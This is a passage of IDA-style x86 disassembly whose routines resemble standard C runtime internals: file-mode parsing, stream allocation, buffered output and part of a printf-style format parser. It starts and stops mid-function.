mov al, [esi]
test al, 40h
jnz short loc_41F223
or al, 2
mov [esi], al
loc_41F223: ; CODE XREF: sub_41F051+101j
; sub_41F051+1C0j ...
sub edi, [ebp+arg_4]
mov [ebp+var_8], edi
loc_41F229: ; CODE XREF: sub_41F051+DAj
mov eax, [ebp+var_8]
jmp short loc_41F242
; ---------------------------------------------------------------------------
loc_41F22E: ; CODE XREF: sub_41F051+12j
; sub_41F051+39j
and dword_4D9718, 0
mov dword_4D9714, 9
loc_41F23F: ; CODE XREF: sub_41F051+ABj
; sub_41F051+C3j
or eax, 0FFFFFFFFh
loc_41F242: ; CODE XREF: sub_41F051+B7j
; sub_41F051+1DBj
pop edi
pop esi
pop ebx
leave
retn
sub_41F051 endp
; =============== S U B R O U T I N E =======================================
sub_41F247 proc near ; CODE XREF: sub_41BB48+106p
; sub_41BCAD+1Fp ...
arg_0 = dword ptr 4
mov eax, dword_4D9794
test eax, eax
jz short loc_41F25F
push [esp+arg_0]
call eax
test eax, eax
pop ecx
jz short loc_41F25F
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41F25F: ; CODE XREF: sub_41F247+7j
; sub_41F247+12j
xor eax, eax
retn
sub_41F247 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F262 proc near ; CODE XREF: sub_41BC68+17p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword_4D9900
push edi
mov edi, [ebp+arg_4]
xor ebx, ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov al, [edi]
cmp al, 61h
jz short loc_41F29B
cmp al, 72h
jz short loc_41F294
cmp al, 77h
jnz loc_41F3AF
mov ecx, 301h
jmp short loc_41F2A0
; ---------------------------------------------------------------------------
loc_41F294: ; CODE XREF: sub_41F262+21j
xor ecx, ecx
or esi, 1
jmp short loc_41F2A3
; ---------------------------------------------------------------------------
loc_41F29B: ; CODE XREF: sub_41F262+1Dj
mov ecx, 109h
loc_41F2A0: ; CODE XREF: sub_41F262+30j
or esi, 2
loc_41F2A3: ; CODE XREF: sub_41F262+37j
push 1
pop edx
loc_41F2A6: ; CODE XREF: sub_41F262+8Bj
; sub_41F262+A0j ...
mov al, [edi+1]
inc edi
cmp al, bl
jz loc_41F395
cmp edx, ebx
jz loc_41F395
movsx eax, al
cmp eax, 54h
jg short loc_41F334
jz short loc_41F324
sub eax, 2Bh
jz short loc_41F30E
sub eax, 19h
jz short loc_41F304
sub eax, 0Eh
jz short loc_41F2EF
dec eax
jnz loc_41F386
cmp [ebp+var_4], ebx
jnz loc_41F386
mov [ebp+var_4], 1
or ecx, 20h
jmp short loc_41F2A6
; ---------------------------------------------------------------------------
loc_41F2EF: ; CODE XREF: sub_41F262+6Fj
cmp [ebp+var_4], ebx
jnz loc_41F386
mov [ebp+var_4], 1
or ecx, 10h
jmp short loc_41F2A6
; ---------------------------------------------------------------------------
loc_41F304: ; CODE XREF: sub_41F262+6Aj
test cl, 40h
jnz short loc_41F386
or ecx, 40h
jmp short loc_41F2A6
; ---------------------------------------------------------------------------
loc_41F30E: ; CODE XREF: sub_41F262+65j
test cl, 2
jnz short loc_41F386
and ecx, 0FFFFFFFEh
and esi, 0FFFFFFFCh
or ecx, 2
or esi, 80h
jmp short loc_41F2A6
; ---------------------------------------------------------------------------
loc_41F324: ; CODE XREF: sub_41F262+60j
mov eax, 1000h
test ecx, eax
jnz short loc_41F386
or ecx, eax
jmp loc_41F2A6
; ---------------------------------------------------------------------------
loc_41F334: ; CODE XREF: sub_41F262+5Ej
sub eax, 62h
jz short loc_41F381
dec eax
jz short loc_41F36A
sub eax, 0Bh
jz short loc_41F353
sub eax, 6
jnz short loc_41F386
test ch, 0C0h
jnz short loc_41F386
or ch, 40h
jmp loc_41F2A6
; ---------------------------------------------------------------------------
loc_41F353: ; CODE XREF: sub_41F262+DDj
cmp [ebp+var_8], ebx
jnz short loc_41F386
mov [ebp+var_8], 1
and esi, 0FFFFBFFFh
jmp loc_41F2A6
; ---------------------------------------------------------------------------
loc_41F36A: ; CODE XREF: sub_41F262+D8j
cmp [ebp+var_8], ebx
jnz short loc_41F386
mov [ebp+var_8], 1
or esi, 4000h
jmp loc_41F2A6
; ---------------------------------------------------------------------------
loc_41F381: ; CODE XREF: sub_41F262+D5j
test ch, 0C0h
jz short loc_41F38D
loc_41F386: ; CODE XREF: sub_41F262+72j
; sub_41F262+7Bj ...
xor edx, edx
jmp loc_41F2A6
; ---------------------------------------------------------------------------
loc_41F38D: ; CODE XREF: sub_41F262+122j
or ch, 80h
jmp loc_41F2A6
; ---------------------------------------------------------------------------
loc_41F395: ; CODE XREF: sub_41F262+4Aj
; sub_41F262+52j
push 1A4h
push [ebp+arg_8]
push ecx
push [ebp+arg_0]
call sub_42393B
mov ecx, eax
add esp, 10h
cmp ecx, ebx
jge short loc_41F3B3
loc_41F3AF: ; CODE XREF: sub_41F262+25j
xor eax, eax
jmp short loc_41F3CD
; ---------------------------------------------------------------------------
loc_41F3B3: ; CODE XREF: sub_41F262+14Bj
mov eax, [ebp+arg_C]
inc dword_4D98FC
mov [eax+0Ch], esi
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], ebx
mov [eax+1Ch], ebx
mov [eax+10h], ecx
loc_41F3CD: ; CODE XREF: sub_41F262+14Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41F262 endp
; =============== S U B R O U T I N E =======================================
sub_41F3D2 proc near ; CODE XREF: sub_41BC68p
mov edx, dword_4DAA40
push ebx
push ebp
push esi
xor ebp, ebp
xor esi, esi
xor eax, eax
cmp edx, ebp
push edi
jle short loc_41F443
mov ebx, dword_4D9A30
mov edi, ebx
loc_41F3EE: ; CODE XREF: sub_41F3D2+2Ej
mov ecx, [edi]
cmp ecx, ebp
jz short loc_41F409
test byte ptr [ecx+0Ch], 83h
jz short loc_41F404
inc eax
add edi, 4
cmp eax, edx
jl short loc_41F3EE
jmp short loc_41F443
; ---------------------------------------------------------------------------
loc_41F404: ; CODE XREF: sub_41F3D2+26j
mov esi, [ebx+eax*4]
jmp short loc_41F42D
; ---------------------------------------------------------------------------
loc_41F409: ; CODE XREF: sub_41F3D2+20j
mov edi, eax
push 20h
shl edi, 2
call sub_41BC9B
pop ecx
mov ecx, dword_4D9A30
mov [edi+ecx], eax
mov eax, dword_4D9A30
mov edi, [edi+eax]
cmp edi, ebp
jz short loc_41F443
mov esi, edi
loc_41F42D: ; CODE XREF: sub_41F3D2+35j
cmp esi, ebp
jz short loc_41F443
or dword ptr [esi+10h], 0FFFFFFFFh
mov [esi+4], ebp
mov [esi+0Ch], ebp
mov [esi+8], ebp
mov [esi], ebp
mov [esi+1Ch], ebp
loc_41F443: ; CODE XREF: sub_41F3D2+12j
; sub_41F3D2+30j ...
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41F3D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F44A proc near ; CODE XREF: sub_41BE6E+17p
; sub_41BE6E+58p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
lea ecx, [eax+1]
cmp ecx, 100h
ja short loc_41F468
mov ecx, off_43A680
movzx eax, word ptr [ecx+eax*2]
jmp short loc_41F4BA
; ---------------------------------------------------------------------------
loc_41F468: ; CODE XREF: sub_41F44A+10j
mov ecx, eax
push esi
mov esi, off_43A680
sar ecx, 8
movzx edx, cl
test byte ptr [esi+edx*2+1], 80h
pop esi
jz short loc_41F48D
and [ebp+var_2], 0
mov [ebp+var_4], cl
mov [ebp+var_3], al
push 2
jmp short loc_41F496
; ---------------------------------------------------------------------------
loc_41F48D: ; CODE XREF: sub_41F44A+33j
and [ebp+var_3], 0
mov [ebp+var_4], al
push 1
loc_41F496: ; CODE XREF: sub_41F44A+41j
pop eax
lea ecx, [ebp+arg_0+2]
push 1
push 0
push 0
push ecx
push eax
lea eax, [ebp+var_4]
push eax
push 1
call sub_423BF4
add esp, 1Ch
test eax, eax
jnz short loc_41F4B6
leave
retn
; ---------------------------------------------------------------------------
loc_41F4B6: ; CODE XREF: sub_41F44A+68j
movzx eax, word ptr [ebp+arg_0+2]
loc_41F4BA: ; CODE XREF: sub_41F44A+1Cj
and eax, [ebp+arg_4]
leave
retn
sub_41F44A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F4BF proc near ; CODE XREF: sub_41C006+46p
; sub_41C100+45p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [esi+0Ch]
mov ebx, [esi+10h]
test al, 82h
jz loc_41F5C8
test al, 40h
jnz loc_41F5C8
test al, 1
jz short loc_41F4F7
and dword ptr [esi+4], 0
test al, 10h
jz loc_41F5C8
mov ecx, [esi+8]
and al, 0FEh
mov [esi], ecx
mov [esi+0Ch], eax
loc_41F4F7: ; CODE XREF: sub_41F4BF+20j
mov eax, [esi+0Ch]
and dword ptr [esi+4], 0
and [ebp+arg_4], 0
and al, 0EFh
or al, 2
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41F531
cmp esi, offset dword_43AD98
jz short loc_41F51F
cmp esi, offset dword_43ADB8
jnz short loc_41F52A
loc_41F51F: ; CODE XREF: sub_41F4BF+56j
push ebx
call sub_423D3D
test eax, eax
pop ecx
jnz short loc_41F531
loc_41F52A: ; CODE XREF: sub_41F4BF+5Ej
push esi
call sub_4238F7
pop ecx
loc_41F531: ; CODE XREF: sub_41F4BF+4Ej
; sub_41F4BF+69j
test word ptr [esi+0Ch], 108h
push edi
jz short loc_41F59E
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
lea ecx, [eax+1]
mov [esi], ecx
mov ecx, [esi+18h]
dec ecx
test edi, edi
mov [esi+4], ecx
jle short loc_41F561
push edi
push eax
push ebx
call sub_422825
add esp, 0Ch
mov [ebp+arg_4], eax
jmp short loc_41F594
; ---------------------------------------------------------------------------
loc_41F561: ; CODE XREF: sub_41F4BF+90j
cmp ebx, 0FFFFFFFFh
jz short loc_41F57C
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DAA60[eax*4]
lea eax, [eax+ecx*8]
jmp short loc_41F581
; ---------------------------------------------------------------------------
loc_41F57C: ; CODE XREF: sub_41F4BF+A5j
mov eax, offset dword_43ACE0
loc_41F581: ; CODE XREF: sub_41F4BF+BBj
test byte ptr [eax+4], 20h
jz short loc_41F594
push 2
push 0
push ebx
call sub_422633
add esp, 0Ch
loc_41F594: ; CODE XREF: sub_41F4BF+A0j
; sub_41F4BF+C6j
mov eax, [esi+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_41F5B2
; ---------------------------------------------------------------------------
loc_41F59E: ; CODE XREF: sub_41F4BF+79j
push 1
lea eax, [ebp+arg_0]
pop edi
push edi
push eax
push ebx
call sub_422825
add esp, 0Ch
mov [ebp+arg_4], eax
loc_41F5B2: ; CODE XREF: sub_41F4BF+DDj
cmp [ebp+arg_4], edi
pop edi
jz short loc_41F5BE
or dword ptr [esi+0Ch], 20h
jmp short loc_41F5CD
; ---------------------------------------------------------------------------
loc_41F5BE: ; CODE XREF: sub_41F4BF+F7j
mov eax, [ebp+arg_0]
and eax, 0FFh
jmp short loc_41F5D0
; ---------------------------------------------------------------------------
loc_41F5C8: ; CODE XREF: sub_41F4BF+10j
; sub_41F4BF+18j ...
or al, 20h
mov [esi+0Ch], eax
loc_41F5CD: ; CODE XREF: sub_41F4BF+FDj
or eax, 0FFFFFFFFh
loc_41F5D0: ; CODE XREF: sub_41F4BF+107j
pop esi
pop ebx
pop ebp
retn
sub_41F4BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F5D4 proc near ; CODE XREF: sub_41C006+29p
; sub_41C100+28p ...
var_248 = byte ptr -248h
var_247 = byte ptr -247h
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 248h
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+var_C], esi
mov [ebp+var_14], esi
mov [ebp+arg_4], edi
jz loc_41FCED
mov ecx, [ebp+var_10]
xor edx, edx
jmp short loc_41F608
; ---------------------------------------------------------------------------
loc_41F600: ; CODE XREF: sub_41F5D4+713j
mov ecx, [ebp+var_10]
mov esi, [ebp+var_30]
xor edx, edx
loc_41F608: ; CODE XREF: sub_41F5D4+2Aj
cmp [ebp+var_14], edx
jl loc_41FCED
cmp bl, 20h
jl short loc_41F629
cmp bl, 78h
jg short loc_41F629
movsx eax, bl
mov al, byte ptr flt_427704[eax]
and eax, 0Fh
jmp short loc_41F62B
; ---------------------------------------------------------------------------
loc_41F629: ; CODE XREF: sub_41F5D4+40j
; sub_41F5D4+45j
xor eax, eax
loc_41F62B: ; CODE XREF: sub_41F5D4+53j
movsx eax, byte_427724[esi+eax*8]
sar eax, 4
cmp eax, 7 ; switch 8 cases
mov [ebp+var_30], eax
ja loc_41FCDC ; default
jmp off_41FCF5[eax*4] ; switch jump
loc_41F649: ; DATA XREF: ___:off_41FCF5o
or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041F642 case 1
mov [ebp+var_34], edx
mov [ebp+var_28], edx
mov [ebp+var_20], edx
mov [ebp+var_1C], edx
mov [ebp+var_4], edx
mov [ebp+var_24], edx
jmp loc_41FCDC ; default
; ---------------------------------------------------------------------------
loc_41F664: ; CODE XREF: sub_41F5D4+6Ej
; DATA XREF: ___:off_41FCF5o
movsx eax, bl ; jumptable 0041F642 case 2
sub eax, 20h
jz short loc_41F6A7
sub eax, 3
jz short loc_41F69E
sub eax, 8
jz short loc_41F695
dec eax
dec eax
jz short loc_41F68C
sub eax, 3
jnz loc_41FCDC ; default
or [ebp+var_4], 8
jmp loc_41FCDC ; default
; ---------------------------------------------------------------------------
loc_41F68C: ; CODE XREF: sub_41F5D4+A4j
or [ebp+var_4], 4
jmp loc_41FCDC ; default
; ---------------------------------------------------------------------------
loc_41F695: ; CODE XREF: sub_41F5D4+A0j
or [ebp+var_4], 1
jmp loc_41FCDC ; default
; ---------------------------------------------------------------------------
loc_41F69E: ; CODE XREF: sub_41F5D4+9Bj
or byte ptr [ebp+var_4], 80h
jmp loc_41FCDC ; default
; ---------------------------------------------------------------------------
loc_41F6A7: ; CODE XREF: sub_41F5D4+96j
or [ebp+var_4], 2
jmp loc_41FCDC ; default
; ---------------------------------------------------------------------------
loc_41F6B0: ; CODE XREF: sub_41F5D4+6Ej
; DATA XREF: ___:off_41FCF5o
cmp bl, 2Ah ; jumptable 0041F642 case 3
jnz short loc_41F6D8
lea eax, [ebp+arg_8]
push eax
call sub_41FDB3
test eax, eax
pop ecx
mov [ebp+var_20], eax
jge loc_41FCDC ; default
or [ebp+var_4], 4
neg eax
loc_41F6D0: ; CODE XREF: sub_41F5D4+111j
mov [ebp+var_20], eax
jmp loc_41FCDC ; default
; ---------------------------------------------------------------------------
loc_41F6D8: ; CODE XREF: sub_41F5D4+DFj
mov eax, [ebp+var_20]
movsx ecx, bl
lea eax, [eax+eax*4]
lea eax, [ecx+eax*2-30h]
jmp short loc_41F6D0
; ---------------------------------------------------------------------------
loc_41F6E7: ; CODE XREF: sub_41F5D4+6Ej
; DATA XREF: ___:off_41FCF5o
mov [ebp+var_10], edx ; jumptable 0041F642 case 4
jmp loc_41FCDC ; default
; ---------------------------------------------------------------------------
loc_41F6EF: ; CODE XREF: sub_41F5D4+6Ej
; DATA XREF: ___:off_41FCF5o
cmp bl, 2Ah ; jumptable 0041F642 case 5
jnz short loc_41F712
lea eax, [ebp+arg_8]
push eax
call sub_41FDB3
test eax, eax
pop ecx
mov [ebp+var_10], eax
jge loc_41FCDC ; default
or [ebp+var_10], 0FFFFFFFFh
jmp loc_41FCDC ; default
; ---------------------------------------------------------------------------
loc_41F712: ; CODE XREF: sub_41F5D4+11Ej
lea eax, [ecx+ecx*4]
movsx ecx, bl
lea eax, [ecx+eax*2-30h]
mov [ebp+var_10], eax
jmp loc_41FCDC ; default
; ---------------------------------------------------------------------------
loc_41F724: ; CODE XREF: sub_41F5D4+6Ej
; DATA XREF: ___:off_41FCF5o
cmp bl, 49h ; jumptable 0041F642 case 6
jz short loc_41F757
cmp bl, 68h
jz short loc_41F74E
cmp bl, 6Ch
jz short loc_41F745
cmp bl, 77h
jnz loc_41FCDC ; default
or byte ptr [ebp+var_4+1], 8
jmp loc_41FCDC ; default
; ---------------------------------------------------------------------------
loc_41F745: ; CODE XREF: sub_41F5D4+15Dj
or [ebp+var_4], 10h
jmp loc_41FCDC ; default
; ---------------------------------------------------------------------------
loc_41F74E: ; CODE XREF: sub_41F5D4+158j
or [ebp+var_4], 20h
jmp loc_41FCDC ; default
; ---------------------------------------------------------------------------
loc_41F757: ; CODE XREF: sub_41F5D4+153j
cmp byte ptr [edi], 36h
jnz short loc_41F770
cmp byte ptr [edi+1], 34h
jnz short loc_41F770
inc edi
inc edi
or byte ptr [ebp+var_4+1], 80h
mov [ebp+arg_4], edi
jmp loc_41FCDC ; default
; ---------------------------------------------------------------------------
loc_41F770: ; CODE XREF: sub_41F5D4+186j
; sub_41F5D4+18Cj
mov [ebp+var_30], edx
loc_41F773: ; CODE XREF: sub_41F5D4+6Ej
; DATA XREF: ___:off_41FCF5o
mov ecx, off_43A680 ; jumptable 0041F642 case 0
mov [ebp+var_24], edx
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41F79F
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_41FD15
mov bl, [edi]
add esp, 0Ch
inc edi
mov [ebp+arg_4], edi
loc_41F79F: ; CODE XREF: sub_41F5D4+1B0j
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_41FD15
add esp, 0Ch
jmp loc_41FCDC ; default
; ---------------------------------------------------------------------------
loc_41F7B7: ; CODE XREF: sub_41F5D4+6Ej
; DATA XREF: ___:off_41FCF5o
movsx eax, bl ; jumptable 0041F642 case 7
cmp eax, 67h
jg loc_41F9DF
cmp eax, 65h
jge loc_41F862
cmp eax, 58h
jg loc_41F8C0
jz loc_41FA53
sub eax, 43h
jz loc_41F883
dec eax
dec eax
jz short loc_41F858
dec eax
dec eax
jz short loc_41F858
sub eax, 0Ch
jnz loc_41FBDE
test word ptr [ebp+var_4], 830h
jnz short loc_41F801
or byte ptr [ebp+var_4+1], 8
loc_41F801: ; CODE XREF: sub_41F5D4+227j
; sub_41F5D4+42Aj
mov esi, [ebp+var_10]
cmp esi, 0FFFFFFFFh
jnz short loc_41F80E
mov esi, 7FFFFFFFh
loc_41F80E: ; CODE XREF: sub_41F5D4+233j
lea eax, [ebp+arg_8]
push eax
call sub_41FDB3
test word ptr [ebp+var_4], 810h
pop ecx
mov ecx, eax
mov [ebp+var_8], ecx
jz loc_41FA27
test ecx, ecx
jnz short loc_41F836
mov ecx, off_43A89C
mov [ebp+var_8], ecx
loc_41F836: ; CODE XREF: sub_41F5D4+257j
mov [ebp+var_24], 1
mov eax, ecx
loc_41F83F: ; CODE XREF: sub_41F5D4+282j
mov edx, esi
dec esi
test edx, edx
jz loc_41FA1E
cmp word ptr [eax], 0
jz loc_41FA1E
inc eax
inc eax
jmp short loc_41F83F
; ---------------------------------------------------------------------------
loc_41F858: ; CODE XREF: sub_41F5D4+212j
; sub_41F5D4+216j
mov [ebp+var_34], 1
add bl, 20h
loc_41F862: ; CODE XREF: sub_41F5D4+1F2j
or [ebp+var_4], 40h
lea edi, [ebp+var_248]
cmp ecx, edx
mov [ebp+var_8], edi
jge loc_41F946
mov [ebp+var_10], 6
jmp loc_41F954
; ---------------------------------------------------------------------------
loc_41F883: ; CODE XREF: sub_41F5D4+20Aj
test word ptr [ebp+var_4], 830h
jnz short loc_41F88F
or byte ptr [ebp+var_4+1], 8
loc_41F88F: ; CODE XREF: sub_41F5D4+2B5j
; sub_41F5D4+2F4j
test word ptr [ebp+var_4], 810h
lea eax, [ebp+arg_8]
push eax
jz short loc_41F8D6
call sub_41FDD0
push eax
lea eax, [ebp+var_248]
push eax
call sub_423D63
add esp, 0Ch
mov [ebp+var_C], eax
test eax, eax
jge short loc_41F8E9
mov [ebp+var_28], 1
jmp short loc_41F8E9
; ---------------------------------------------------------------------------
loc_41F8C0: ; CODE XREF: sub_41F5D4+1FBj
sub eax, 5Ah
jz short loc_41F8F7
sub eax, 9
jz short loc_41F88F
dec eax
jz loc_41FAB9
jmp loc_41FBDE
; ---------------------------------------------------------------------------
loc_41F8D6: ; CODE XREF: sub_41F5D4+2C5j
call sub_41FDB3
pop ecx
mov [ebp+var_248], al
mov [ebp+var_C], 1
loc_41F8E9: ; CODE XREF: sub_41F5D4+2E1j
; sub_41F5D4+2EAj
lea eax, [ebp+var_248]
mov [ebp+var_8], eax
jmp loc_41FBDE
; ---------------------------------------------------------------------------
loc_41F8F7: ; CODE XREF: sub_41F5D4+2EFj
lea eax, [ebp+arg_8]
push eax
call sub_41FDB3
test eax, eax
pop ecx
jz short loc_41F938
mov ecx, [eax+4]
test ecx, ecx
jz short loc_41F938
test byte ptr [ebp+var_4+1], 8
jz short loc_41F929
movsx eax, word ptr [eax]
shr eax, 1
mov [ebp+var_8], ecx
mov [ebp+var_C], eax
mov [ebp+var_24], 1
jmp loc_41FBDE
; ---------------------------------------------------------------------------
loc_41F929: ; CODE XREF: sub_41F5D4+33Cj
and [ebp+var_24], 0
mov [ebp+var_8], ecx
movsx eax, word ptr [eax]
jmp loc_41FBDB
; ---------------------------------------------------------------------------
loc_41F938: ; CODE XREF: sub_41F5D4+32Fj
; sub_41F5D4+336j
mov eax, off_43A898
mov [ebp+var_8], eax
push eax
jmp loc_41F9D4
; ---------------------------------------------------------------------------
loc_41F946: ; CODE XREF: sub_41F5D4+29Dj
jnz short loc_41F954
cmp bl, 67h
jnz short loc_41F954
mov [ebp+var_10], 1
loc_41F954: ; CODE XREF: sub_41F5D4+2AAj
; sub_41F5D4:loc_41F946j ...
mov eax, [ebp+arg_8]
push [ebp+var_34]
add eax, 8
mov [ebp+arg_8], eax
push [ebp+var_10]
mov ecx, [eax-8]
mov [ebp+var_48], ecx
mov eax, [eax-4]
mov [ebp+var_44], eax
movsx eax, bl
push eax
lea eax, [ebp+var_248]
push eax
lea eax, [ebp+var_48]
push eax
call off_43AC28
mov esi, [ebp+var_4]
add esp, 14h
and esi, 80h
jz short loc_41F9A6
cmp [ebp+var_10], 0
jnz short loc_41F9A6
lea eax, [ebp+var_248]
push eax
call off_43AC34
pop ecx
loc_41F9A6: ; CODE XREF: sub_41F5D4+3BCj
; sub_41F5D4+3C2j
cmp bl, 67h
jnz short loc_41F9BD
test esi, esi
jnz short loc_41F9BD
lea eax, [ebp+var_248]
push eax
call off_43AC2C
pop ecx
loc_41F9BD: ; CODE XREF: sub_41F5D4+3D5j
; sub_41F5D4+3D9j
cmp [ebp+var_248], 2Dh
jnz short loc_41F9D3
or byte ptr [ebp+var_4+1], 1
lea edi, [ebp+var_247]
mov [ebp+var_8], edi
loc_41F9D3: ; CODE XREF: sub_41F5D4+3F0j
push edi
loc_41F9D4: ; CODE XREF: sub_41F5D4+36Dj
call sub_41B960
pop ecx
jmp loc_41FBDB
; ---------------------------------------------------------------------------
loc_41F9DF: ; CODE XREF: sub_41F5D4+1E9j
sub eax, 69h
jz loc_41FAB9
sub eax, 5
jz loc_41FA8F
dec eax
jz loc_41FA7C
dec eax
jz short loc_41FA4C
sub eax, 3
jz loc_41F801
dec eax
dec eax
jz loc_41FABD
sub eax, 3
jnz loc_41FBDE
mov [ebp+var_2C], 27h
jmp short loc_41FA5A
; ---------------------------------------------------------------------------
loc_41FA1E: ; CODE XREF: sub_41F5D4+270j
; sub_41F5D4+27Aj
sub eax, ecx
sar eax, 1
jmp loc_41FBDB
; ---------------------------------------------------------------------------
loc_41FA27: ; CODE XREF: sub_41F5D4+24Fj
test ecx, ecx
jnz short loc_41FA34
mov ecx, off_43A898
mov [ebp+var_8], ecx
loc_41FA34: ; CODE XREF: sub_41F5D4+455j
mov eax, ecx
loc_41FA36: ; CODE XREF: sub_41F5D4+46Fj
mov edx, esi
dec esi
test edx, edx
jz short loc_41FA45
cmp byte ptr [eax], 0
jz short loc_41FA45
inc eax
jmp short loc_41FA36
; ---------------------------------------------------------------------------
loc_41FA45: ; CODE XREF: sub_41F5D4+467j
; sub_41F5D4+46Cj
sub eax, ecx
jmp loc_41FBDB
; ---------------------------------------------------------------------------
loc_41FA4C: ; CODE XREF: sub_41F5D4+425j
mov [ebp+var_10], 8
loc_41FA53: ; CODE XREF: sub_41F5D4+201j
mov [ebp+var_2C], 7
loc_41FA5A: ; CODE XREF: sub_41F5D4+448j
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 10h
jz short loc_41FAC4
mov al, byte ptr [ebp+var_2C]
mov [ebp+var_16], 30h
add al, 51h
mov [ebp+var_1C], 2
mov [ebp+var_15], al
jmp short loc_41FAC4
; ---------------------------------------------------------------------------
loc_41FA7C: ; CODE XREF: sub_41F5D4+41Ej
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 8
jz short loc_41FAC4
or byte ptr [ebp+var_4+1], 2
jmp short loc_41FAC4
; ---------------------------------------------------------------------------
loc_41FA8F: ; CODE XREF: sub_41F5D4+417j
lea eax, [ebp+arg_8]
push eax
call sub_41FDB3
test byte ptr [ebp+var_4], 20h
pop ecx
jz short loc_41FAA8
mov cx, word ptr [ebp+var_14]
mov [eax], cx
jmp short loc_41FAAD
; ---------------------------------------------------------------------------
loc_41FAA8: ; CODE XREF: sub_41F5D4+4C9j
mov ecx, [ebp+var_14]
mov [eax], ecx
loc_41FAAD: ; CODE XREF: sub_41F5D4+4D2j
mov [ebp+var_28], 1
jmp loc_41FCDC ; default
; ---------------------------------------------------------------------------
loc_41FAB9: ; CODE XREF: sub_41F5D4+2F7j
; sub_41F5D4+40Ej
or [ebp+var_4], 40h
loc_41FABD: ; CODE XREF: sub_41F5D4+432j
mov [ebp+var_C], 0Ah
loc_41FAC4: ; CODE XREF: sub_41F5D4+491j
; sub_41F5D4+4A6j ...
test byte ptr [ebp+var_4+1], 80h
jz short loc_41FAD6
lea eax, [ebp+arg_8]
push eax
call sub_41FDC0
pop ecx
jmp short loc_41FB17
; ---------------------------------------------------------------------------
loc_41FAD6: ; CODE XREF: sub_41F5D4+4F4j
test byte ptr [ebp+var_4], 20h
jz short loc_41FAFD
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_41FAF2
call sub_41FDB3
pop ecx
movsx eax, ax
loc_41FAEF: ; CODE XREF: sub_41F5D4+527j
; sub_41F5D4+539j
cdq
jmp short loc_41FB17
; ---------------------------------------------------------------------------
loc_41FAF2: ; CODE XREF: sub_41F5D4+510j
call sub_41FDB3
pop ecx
movzx eax, ax
jmp short loc_41FAEF
; ---------------------------------------------------------------------------
loc_41FAFD: ; CODE XREF: sub_41F5D4+506j
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_41FB0F
call sub_41FDB3
pop ecx
jmp short loc_41FAEF
; ---------------------------------------------------------------------------
loc_41FB0F: ; CODE XREF: sub_41F5D4+531j
call sub_41FDB3
pop ecx
xor edx, edx
loc_41FB17: ; CODE XREF: sub_41F5D4+500j
; sub_41F5D4+51Cj
test byte ptr [ebp+var_4], 40h
jz short loc_41FB38
test edx, edx
jg short loc_41FB38
jl short loc_41FB27
test eax, eax
jnb short loc_41FB38
loc_41FB27: ; CODE XREF: sub_41F5D4+54Dj
neg eax
adc edx, 0
mov esi, eax
neg edx
or byte ptr [ebp+var_4+1], 1
mov edi, edx
jmp short loc_41FB3C
; ---------------------------------------------------------------------------
loc_41FB38: ; CODE XREF: sub_41F5D4+547j
; sub_41F5D4+54Bj ...
mov esi, eax
mov edi, edx
loc_41FB3C: ; CODE XREF: sub_41F5D4+562j
test byte ptr [ebp+var_4+1], 80h
jnz short loc_41FB45
and edi, 0
loc_41FB45: ; CODE XREF: sub_41F5D4+56Cj
cmp [ebp+var_10], 0
jge short loc_41FB54
mov [ebp+var_10], 1
jmp short loc_41FB58
; ---------------------------------------------------------------------------
loc_41FB54: ; CODE XREF: sub_41F5D4+575j
and [ebp+var_4], 0FFFFFFF7h
loc_41FB58: ; CODE XREF: sub_41F5D4+57Ej
mov eax, esi
or eax, edi
jnz short loc_41FB62
and [ebp+var_1C], 0
loc_41FB62: ; CODE XREF: sub_41F5D4+588j
lea eax, [ebp+var_49]
mov [ebp+var_8], eax
loc_41FB68: ; CODE XREF: sub_41F5D4+5DDj
mov eax, [ebp+var_10]
dec [ebp+var_10]
test eax, eax
